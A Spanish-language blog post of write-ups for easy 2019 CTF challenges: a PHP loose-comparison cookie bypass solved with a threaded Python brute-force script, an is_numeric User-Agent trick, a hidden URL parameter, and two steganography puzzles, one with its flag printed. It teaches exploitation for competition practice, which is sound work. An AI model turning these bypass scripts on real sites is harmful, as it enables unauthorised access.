· Manuel López Pérez · writeups  · 4 min read

Resolviendo retos de CTF - Parte 1

Write-up de retos sencillos de CTF (web y stego/cripto): type juggling en PHP, condiciones imposibles con is_numeric, parámetros ocultos en source y stego con Stegsolve/hex.

Write-up de retos sencillos de CTF (web y stego/cripto): type juggling en PHP, condiciones imposibles con is_numeric, parámetros ocultos en source y stego con Stegsolve/hex.

Resolviendo retos de CTF - Parte 1Hoy os traigo la resolución de algunos retos sencillos de CTF - Capture The Flag (en español, Captura la Bandera). Los CTF son una serie de desafíos informáticos enfocados a la seguridad, con los que pondremos a prueba nuestros conocimientos y aprenderemos nuevas técnicas. Desde hace unas semanas formo parte de Ripp3rs y competimos a través de Ctftime.org Vamos a resolver algunos de los retos a los que nos hemos tenido que enfrentar en los últimos CTF.

Web

Teaser CONFidence CTF 2019 - My admin panel

Enunciado

I think I’ve found something interesting, but I’m not really a PHP expert. Do you think it’s exploitable? https://gameserver.zajebistyc.tf/admin/

Resolución Visitamos la url y nos encontramos el código php que utiliza la página. Nos descargamos el fichero login.php.bak y podremos revisar el código fuente:

 <?php include '../func.php'; include '../config.php';

if (!$_COOKIE['otadmin']) { exit("Not authenticated.\\n"); } if (!preg_match('/^{"hash": [0-9A-Z\"]+}$/', $_COOKIE['otadmin'])) { echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\\n"; exit(); } $session_data = json_decode($_COOKIE['otadmin'], true); if ($session_data === NULL) { echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\\n"; exit(); } if ($session_data['hash'] != strtoupper(MD5($cfg_pass))) { echo("I CAN EVEN GIVE YOU A HINT XD \\n"); for ($i = 0; i < strlen(MD5('xDdddddd')); i++) { echo(ord(MD5($cfg_pass)[$i]) & 0xC0); } exit("\\n"); } display_admin(); ?> 

Vamos a interceptar la petición con Burp Suite para hacer más sencillo el proceso de obtener la pista (linea 17). Debemos crear una cookie ‘otadmin’ con el formato otadmin={“hash”: “MD5”} La clave de la pista está en ord(MD5($cfg_pass)[$i]) & 0xC0

 0006464640640064000646464640006400640640646400 ord(i) & 0xC0 == 0 → si i es un número ord(i) & 0xC0 == 64 → si i es una letra 

Así que sabemos que los 3 primeros caracteres del MD5 correcto son números; el fallo del código está en que hace una comparación “loose” (https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf) Así que con adivinar los 3 primeros caracteres del MD5 podremos resolver el reto, vamos a crear un pequeño fichero en python:

#!/usr/bin/env python3
import requests
import threading
import time
import os
def brute(sol):
    data = {'otadmin': '{"hash": %s}' % sol}
    r = requests.get('http://gameserver.zajebistyc.tf/admin/login.php',
    cookies=data)
    if '0006464640640064000646464640006400640640646400' not in r.text: print('[+] Solution: ' + str(sol),
    flush=True) print(r.text) os._exit(1)
else:
    pass
    for i in range(99, 999):
        thread1 = threading.Thread(target=brute,
        args=[i,]) thread1.start() time.sleep(0.05)

Lo ejecutamos y obtenemos el flag.

RADAR CTF 2019 - Puzzle

Enunciado

We love puzzle and we put a small puzzle for you .. If you can’t solve it study some math and come back again -------------------------------------------- Challenge’s URL : http://blackfoxs.org/radar/puzzle

Resolución Visitamos la url: Revisemos el código fuente de la página: En las últimas lineas vemos

En el fichero puzzle_code_file.zip obtenemos el código fuente del index.php, podéis revisarlo entero en Puzzle - index.php La parte más importante:

 <?php $puzzle = $_SERVER['HTTP_USER_AGENT']; if (is_numeric($puzzle)){ if (strlen($puzzle) < 4){ if ($puzzle > 10000){ 

Como veis debemos tener un User-agent numérico mayor que 10000 con menos de 4 caracteres. Tras darle unas vueltas, una solución es: 9e9 Usando un script de python:

 #!/usr/bin/env python import requests import re

url = 'http://blackfoxs.org/radar/puzzle/'

headers = { 'User-Agent': '9e9', }

r = requests.get(url, headers=headers) m = re.search('id="desc">(.+?)</h2>', r.text) if m: found = m.group(1) print found

RADAR CTF 2019 - Easy Web

Enunciado

It’s easy -------------------------------------------- Challenge’s URL : http://blackfoxs.org/radar/easyweb

Resolución En el código fuente de http://blackfoxs.org/radar/easyweb vemos: . Tras varias pruebas obtenemos el flag en http://blackfoxs.org/radar/easyweb/index.php?secretword=radar

Criptografía y esteganografía

RADAR CTF 2019 - Black

Enunciado

Just a black photo ..

Fichero: black.jpg Resolución Podemos solucionar este reto fácilmente usando Stegsolve

RADAR CTF 2019 - Blanks

Enunciado

Maybe it’s not blank

Fichero: flag.txt Resolución Parece un fichero de text vacio, pero si lo abrimos con un visor hexadecimal vemos: Vamos a convertirlo a unos y ceros, donde hay un 09 ponemos 0 y donde hay un 20 ponemos un 1. Usemos un script de python:

 #!/usr/bin/env python import binascii import codecs

def decode_binary_string(s): return ''.join(chr(int(s[i*8:i*8+8],2)) for i in range(len(s)//8))

f = open('flag.txt', 'rb') hex_flag = f.read().encode('hex') binary = hex_flag.replace('09', '0').replace('20', '1')

print decode_binary_string(binary) + '}' # radar{blanks_but_not_blankz}

Back to Blog

Related Posts

View All Posts »
Solving CTF Challenges - Part 1

Solving CTF Challenges - Part 1

Write-up of simple CTF challenges (web and stego/crypto): type juggling in PHP, impossible conditions with is_numeric, hidden parameters in source, and stego with Stegsolve/hex.